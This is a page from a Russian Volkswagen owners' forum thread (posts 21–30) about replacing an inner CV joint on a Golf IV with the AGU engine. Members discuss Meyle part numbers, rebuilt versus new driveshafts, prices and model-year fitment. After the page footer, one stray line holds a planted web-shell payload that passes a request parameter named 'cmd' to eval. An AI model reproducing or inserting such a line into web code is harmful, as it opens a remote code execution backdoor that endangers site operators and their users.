+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 21 по 30 из 31

Тема: Куплю шрус внутренний левый на AGU/G4


  1. #21
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от Yutaka Посмотреть сообщение
    Купил 1J0 498 103K Meyle (2400р). Оставил свой старый корпус от трипода, поставил новые внутренности. Спасибо за советы!:encore:
    Про что я тебе и говорил:)
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  2. #22
    GTI-Racing Yutaka is on a distinguished road Аватар для Yutaka
    Регистрация
    13.10.2008
    Откуда
    Чехов
    Машина
    GOLF 4 AGU '98
    Сообщений
    49
    Цитата Сообщение от Pavlo Посмотреть сообщение
    Про что я тебе и говорил:)
    Совершенно верно сказал! :beer:

    Может кому пригодиться: во время снятия привода порвался пыльник внешнего шруса, естественно у меня его не было, а собирать как то надо было т.к. на следующий день неотложная поездка. Подошел пыльник от Нивы 2121, но это на крайняк. Вскором времени надо менять на нормальный.

  3. #23
    Подскажите пожалуйста
    У меня Jetta 1.8t AWP c коробкой JF506E (09A) 5передач типтроник
    Стоит внутренние шруз 1J0 498 103 J в него можно внутренность от Meyle внедрить?
    У меня 2 подшибника от трипода размолола ......

  4. #24
    Помогите пожалуйста подобрать оригинальные номера на внутренние шрусы для моего авто WVWZZZ1JZXW453373. Модельный ряд 99г, но не уверен подойдут ли мне 1J0 498 103 K

  5. #25
    Цитата Сообщение от VenZzz Посмотреть сообщение
    Подскажите пожалуйста
    У меня Jetta 1.8t AWP c коробкой JF506E (09A) 5передач типтроник
    Стоит внутренние шруз 1J0 498 103 J в него можно внутренность от Meyle внедрить?
    У меня 2 подшибника от трипода размолола ......
    --------- мейли на твою не делает . Оригинал весь привод целиком 2 шруса с самой палкой - 12 000 р

    Добавлено через 1 минуту
    Цитата Сообщение от Garik Посмотреть сообщение
    Помогите пожалуйста подобрать оригинальные номера на внутренние шрусы для моего авто WVWZZZ1JZXW453373. Модельный ряд 99г, но не уверен подойдут ли мне 1J0 498 103 K
    ----- именно они
    Последний раз редактировалось Alexandr 922; 17.08.2012 в 16:25. Причина: Добавлено сообщение

  6. #26
    Цитата Сообщение от Pavlo Посмотреть сообщение
    Ниже читай как человек вышел из положения)
    Как то сомнительно отношусь к подобным действиям, не вижу особо смысла менять внутренности ставя шарики от Meyle. Ведь по сути это равносильно просто установке не оригинальных шрусов meyle, т.к. изнашивается ведь в основном как раз таки подшипники, а корпус без разницы какой стоит. Да и хочется поменять шрусы и забыть на долго про них, а такая экономия я думаю через года 2 всплывет снова в необходимость ремонта.

  7. #27
    Цитата Сообщение от Garik Посмотреть сообщение
    Как то сомнительно отношусь к подобным действиям, не вижу особо смысла менять внутренности ставя шарики от Meyle. Ведь по сути это равносильно просто установке не оригинальных шрусов meyle, т.к. изнашивается ведь в основном как раз таки подшипники, а корпус без разницы какой стоит. Да и хочется поменять шрусы и забыть на долго про них, а такая экономия я думаю через года 2 всплывет снова в необходимость ремонта.
    ---- из двух собирать одно , да еще не новое --------- для себя , смысла нет . На продажу еще можно понять

  8. #28
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от Garik Посмотреть сообщение
    Как то сомнительно отношусь к подобным действиям, не вижу особо смысла менять внутренности ставя шарики от Meyle. Ведь по сути это равносильно просто установке не оригинальных шрусов meyle, т.к. изнашивается ведь в основном как раз таки подшипники, а корпус без разницы какой стоит. Да и хочется поменять шрусы и забыть на долго про них, а такая экономия я думаю через года 2 всплывет снова в необходимость ремонта.
    Ну тогда бери себе оригинал с палкой и не парься, цена вопроса от 7 до 9 тысяч рублей, что не мало согласись! И это за восстановленное изделие, если ставить новое то ценнег около 20 к, что конечно опечаливает.

    PS Я просто тебе написал варианты решения вопроса, решать тебе
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  9. #29
    Цитата Сообщение от Pavlo Посмотреть сообщение
    Ну тогда бери себе оригинал с палкой и не парься, цена вопроса от 7 до 9 тысяч рублей, что не мало согласись! И это за восстановленное изделие, если ставить новое то ценнег около 20 к, что конечно опечаливает.

    PS Я просто тебе написал варианты решения вопроса, решать тебе
    машина для души продавать не собираюсь (при покупке другой эта останется у жены) поэтому экономить не собираюсь.

    А разве на мою машину есть с палкой? Вроде как там отдельно все, и 1J0 498 103 K - это тока шрус без палки, новый, а 1J0 498 103 KX - восстановленный, но он я как понял тоже без палки.

  10. #30
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от Garik Посмотреть сообщение
    машина для души продавать не собираюсь (при покупке другой эта останется у жены) поэтому экономить не собираюсь.

    А разве на мою машину есть с палкой? Вроде как там отдельно все, и 1J0 498 103 K - это тока шрус без палки, новый, а 1J0 498 103 KX - восстановленный, но он я как понял тоже без палки.
    Если 99 модельный год то такие, если 98 то там только в сборе с палкой
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. ШРУС
    от Francuz_almata в разделе Golf 3
    Ответов: 5
    Последнее сообщение: 02.07.2024, 08:14
  2. ГТИ 5, внутренний ШРУС
    от Ur4ikV в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 7
    Последнее сообщение: 29.05.2020, 21:00
  3. Куплю левый привод в сборе
    от Zadira в разделе Покупка и продажа запчастей
    Ответов: 4
    Последнее сообщение: 16.04.2014, 13:58
  4. Внешний и внутренний стайлинг
    от Naber в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 2
    Последнее сообщение: 21.03.2013, 22:40
  5. Шрус или не шрус, вот в чём вопрос!
    от Гера в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 7
    Последнее сообщение: 17.09.2012, 17:58

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}